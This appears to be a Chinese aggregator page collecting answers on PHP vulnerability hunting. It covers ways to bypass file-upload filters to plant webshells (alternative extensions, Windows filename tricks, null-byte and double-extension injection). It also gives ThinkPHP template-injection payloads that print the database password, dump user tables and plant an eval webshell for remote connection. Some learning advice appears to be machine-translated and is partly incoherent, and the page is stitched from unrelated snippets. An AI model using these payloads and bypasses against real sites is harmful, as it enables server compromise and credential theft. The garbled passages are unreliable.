您的位置:

php漏洞挖掘教程,php漏洞利用

本文目录一览:

文件上传漏洞有哪些挖掘思路?

文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述,然后补充一些除了上传webshell的其他非常规挖掘姿势,包括XSS、重定向、Dos、CSRF等等。

1、基础知识:

要深入了解文件上传,必须了解上传属性、常见文件的结构、图形处理函数等内容。

1) 报文特点:

观察文件上传报文的特点:

Header中Content-Type特征有二:

1.multipart/form-data(form表单的enctype属性,规定为二进制数据)

2.boundary字符串(作用为分隔符,以区分POST数据)

POST内容特征有五:

1.Content-Disposition:form-data

2. name:input表单名

3.filename:文件名

4.Content-Type:定义文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件;

5.boundary:Content-Type的值前面加了两个---

2) 常见校验规则

现存常用的上传校验规则无非下面几类:

1.客户端javascript校验(后缀名)

2.文件头content-type字段校验(image/gif):附带参数

4.后缀名黑/白名单校验:扩展名

5.文件内容头校验:GIF89a

6.文件内容校验:文件信息,二次渲染

7.自定义正则校验

3)一个澄清

文件上传和文件解析是两个过程,即使我们上传的是php文件,但解析为图片,访问php文件会显示“图片无法显示”;或者我们上传的是jpg文件,但里面混有shell脚本,若被解析为php文件也会执行;又或者上传处没法绕过检测,只能上传jpg文件,但在其他功能处存在文件包含等功能,仍可执行成功。

还是回到安全的本质,上传是“输入”,那文件解析就是“输出”,任何漏洞挖掘都需要结合输入+输出。

2、绕过技巧:

这里汇总一些实战中较常用的绕过技巧:

1)后缀名黑名单

以下替换后缀也可以解析为shell:

php:.phtml,.phpt,.php3,.php3p

asp:.aspx,asmx,ashx,web.config

perl:.pl,.pm,.cgi,.lib

jsp:.jspx,.jsw,.jsv,.jspf

Coldfusion:.cfm,.cfml,.cfc,.dbm

另外可以配合操作系统的文件命名规则:

.php.,.php空格,.php:1.jpg,.php::$DATA等

这些后缀的文件会被windows系统自动去掉不符合规则符号后面的内容,从而只留下.php。

2)后缀名白名单

除了结合各种服务器解析特性,较常用的是Null Byte Injection空字节注入,插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中,一行以/00结尾或称为NullByte。因此,只要解释器在字符串的末尾看到一个空字节,就会停止读取,认为它已经到达字符串的末尾。

如,我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg,然后上传文件,在Burp中捕获请求,切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表,并将41('A')替换为00(为空字节)。结果字符串变为Happy.php(空).jpeg。由于php解释器在内部使用C语言库,它将停止读取Happy.php后的文件名,文件将保存为Happy.php。

另一种绕过白名单的方法是使用双后缀:shell.php.jpg。

thinkphp 怎么利用漏洞

1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST

{@print(THINK_VERSION)}

{@print(C(‘’))}

{@print(C(‘DB_PASS’))}

2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了

{@var_dump(D(user)-select())}

3.直接执行一句话代码,然后用菜刀直接连接.

{${eval($_POST[s])}} 一句话密码:s

零基础如何学习挖漏洞?

师傅领进门,修行在个人。

国内研究洞挖掘所谓的“地面”的习惯,吃各种各样的编程书籍,然后研究挖洞,这个问题不是好学的编程控制的程度,和纯首先学习编程也很无聊,很多人可能无法坚持。

编程打底

我们不打算学习编程技术,但主要是了解漏洞挖掘。我建议你先把编程放到底层,基础的概念是:“掌握语言的基本语法,通用的功能,写一些演示。”“如果您有一个基础,您可以查看以前的漏洞分析文章,您会发现在这个过程中有一些困难,因此您可以遵循相关的编程技术。而不是仅仅啃着一本编程书。

学习方法

掌握基本的PHP语法,常用的PHP函数,并为常用的PHP函数编写一些演示。然后开始看到PHP应用程序漏洞分析,开始出现一些基本的漏洞,如简单的纯get、post no intval或SQL注入的强制,看看我们以前做过的这些基本的事情。

漏洞利用

让我们来看看一些更高级的漏洞,比如各种可变覆盖漏洞,例如由unserialize引起的代码执行,我们可能会发现很难开始查看这些漏洞。然后你需要回过头来看看提取和其他函数的具体用法。

每一对$_REQUEST的变量生成过程是什么?unserialize函数的执行流程是什么?然后去看以前的技术文章将会是开明的。

这只是一个基本的PHP漏洞挖掘,然后熟练地尝试查看一些漏洞分析框架,比如thinkphp,这些也涉及OOP的知识,所以回到学习PHP OOP编程,然后继续。

总结 

所以我认为还是先好好学习好语言,然后再学其他的会更扎实。

如何查找php文件包含漏洞的方法

找360或安全联盟检测接口, 免费的。

主要是查上传漏洞。可以百度下,够学习一段时间的。